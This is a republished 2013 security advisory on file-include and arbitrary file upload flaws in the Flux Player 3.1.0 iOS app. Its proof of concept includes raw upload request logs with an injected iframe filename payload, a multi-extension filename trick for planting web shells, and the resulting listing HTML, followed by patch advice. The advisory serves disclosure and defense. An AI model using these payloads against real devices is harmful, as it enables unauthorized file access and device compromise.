Flux Player v3.1.0 iOS File Include & Arbitrary File Upload Vulnerability

2013.07.18
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Title: ====== Flux Player v3.1.0 iOS - File Include & Arbitrary File Upload Vulnerability Date: ===== 2013-07-16 References: =========== http://www.vulnerability-lab.com/get_content.php?id=1013 VL-ID: ===== 1013 Common Vulnerability Scoring System: ==================================== 7.5 Introduction: ============= With `Flux Player` you can use your iPhone, iPad or iPod touch for download, transfer and playback of movies, audio books and music. The movies may be from transferred from commercial services, products or alternatively from yourself by drag-and-drop with the free `Flux Transfer` PC application. (Copy of the Vendor Homepage: https://itunes.apple.com/en/app/flux-player/id324300572 ) Abstract: ========= The Vulnerability Laboratory Research Team discovered a file include & arbitrary file upload vulnerability in the Flux Player 3.1.0 (Apple iOS - iPad & iPhone). Report-Timeline: ================ 2013-07-16: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== Apple AppStore Product: Flux Player - Application 3.1.0 Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== 1.1 A file include web vulnerability is detected in the Flux Player 3.1.0 Application (Apple iOS - iPad & iPhone). The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise the application or service. The vulnerability is located in the upload module when processing to upload files with manipulated names via POST method. The attacker can inject local path or files to request context and compromise the device. The validation has a bad side effect which impacts the risk to combine the attack with persistent injected script code. Exploitation of the vulnerability requires no user interaction or privilege flux player application user account. Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application. Vulnerable Module(s): [+] Upload (Files) Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File Dir Listing 1.2 An arbitrary file upload web vulnerability is detected in the Flux Player 3.1.0 Application (Apple iOS - iPad & iPhone). The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access. The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. Attackers are able to upload a php or js web-shells by renaming the file with multiple extensions. He uploads for example a web-shell with the following name and extension picture.jpg.js.php.jpg . He deletes in the request after the upload the jpg to access unauthorized the malicious file (web-shell) to compromise the web-server or mobile device. Exploitation of the vulnerability requires no user interaction or privilege flux player application user account. Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells. Vulnerable Module(s): [+] Upload (Files) Vulnerable Parameter(s): [+] filename (multiple extensions) Affected Module(s): [+] Index File Dir Listing Proof of Concept: ================= The local file include and arbitary file upload vulnerability can be exploited by remote attackers without privilege application user account and also without user interaction. For demonstration or reproduce ... 1.1 --- Request Session Log 1 - Local File Include --- Status: 200[OK] POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[1053] Mime Type[application/x-unknown-content-type] Request Headers: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://localhost:8080/] Connection[keep-alive] Post Data: POST_DATA[-----------------------------21961286324572 Content-Disposition: form-data; name="file"; filename=<iframe src=a>"<iframe src=var/app/Mobile>" Content-Type: image/png - -- Status: 200[OK] GET http://localhost:8080/../var/app/Mobile > [Included File/Path as Filename!] Load Flags[LOAD_DOCUMENT_URI ] Content Size[669] Mime Type[application/x-unknown- content-type] Request Headers: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0] Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://localhost:8080/] Connection[keep-alive] Response Headers: Accept-Ranges[bytes] Content-Length[669] Date[Mo., 15 Jul 2013 20:05:02 GMT] 1.2 --- Request Session Log 2 - Arbitrary File Upload --- Status: 200[OK] POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[1053] Mime Type[application/x-unknown-content-type] Request Headers: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://localhost:8080/] Connection[keep-alive] Post Data: POST_DATA[-----------------------------21961286324572 Content-Disposition: form-data; name="file"; filename="schoko-drops-337.gif.html.php.js.jpg" Content-Type: image/png --- Status: 200[OK] GET http://localhost:8080/schoko-drops-337.gif.html.php.js.jpg > [Included File/Path as Filename!] Load Flags[LOAD_DOCUMENT_URI ] Content Size[669] Mime Type[application/x-unknown- content-type] Request Headers: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0] Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://localhost:8080/] Connection[keep-alive] Response Headers: Accept-Ranges[bytes] Content-Length[669] Date[Mo., 15 Jul 2013 20:05:05 GMT] Note: After the upload of the manipulated malicious file (shell or web-shell), the remote attacker is able to access the full files by a delete of the image file extension. Its also possible to upload a file with multiple file extensions and to access with another frame. PoC: <html><head><title>Files from </title><style>html {background-color:#eeeeee} body { background-color:#FFFFFF; font-family:Tahoma,Arial,Helvetica,sans-serif; font- size:18x; margin-left:15%; margin-right:15%; border:3px groove #006600; padding:15px; } </style></head> <body><h1>Files from </h1><bq>The following files are hosted live from the <strong>iPhone's</strong> Docs folder.</bq><p><a href="..">..</a><br> <a href=".DownloadStatus">.DownloadStatus</a> ( 0.0 Kb, (null))<br> <a href=".mpdrm">.mpdrm</a> ( 0.0 Kb, (null))<br> <a href="<iframe src=a>">_<[File Include/Arbitrary File Upload Vulnerability!]"></a>(0.0 Kb, (null))<br /> <a href=">">BKM337></a> ( 0.0 Kb, (null))<br /> <a href="Rem0ve>">Rem0ve></a> ( 0.0 Kb, (null))<br /> <a href="a2b642e7de.jpg">a2b642e7de.jpg</a> ( 0.0 Kb, (null))<br /> </p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file <input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form></body></html></iframe></a></p></body></html> Note: To exploit the issue the attacker needs to bypass the validation by an inject of 2 different scripts (tags). After the upload the local file or path gets executed when processing to open the item listing. Solution: ========= 1.1 The vulnerability can be patched by a secure parse of the filenames when processing to upload via POST method request. Encode and parse the filename output listing in the index site of the application. Restrict the filename name input and disallow special chars. 1.2 Restrict the input of the filenames when processing to upload a file with multiple extension. Encode and parse the filename output listing in the index site of the application. Restrict the filename name input and disallow special chars. Disallow to open urls with multiple file extensions to prevent execution or access to web-shells. Risk: ===== 1.1 The security risk of the local file include web vulnerability is estimated as high. 1.2 The security risk of the arbitrary file upload vulnerability is estimated as high(+). Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin () vulnerability-lab com - research () vulnerability-lab com - admin () evolution-sec com Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin () vulnerability-lab com or research () vulnerability-lab com) to get a permission. Copyright 2013 | Vulnerability Laboratory [Evolution Security]

References:

http://www.vulnerability-lab.com/get_content.php?id=1013


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top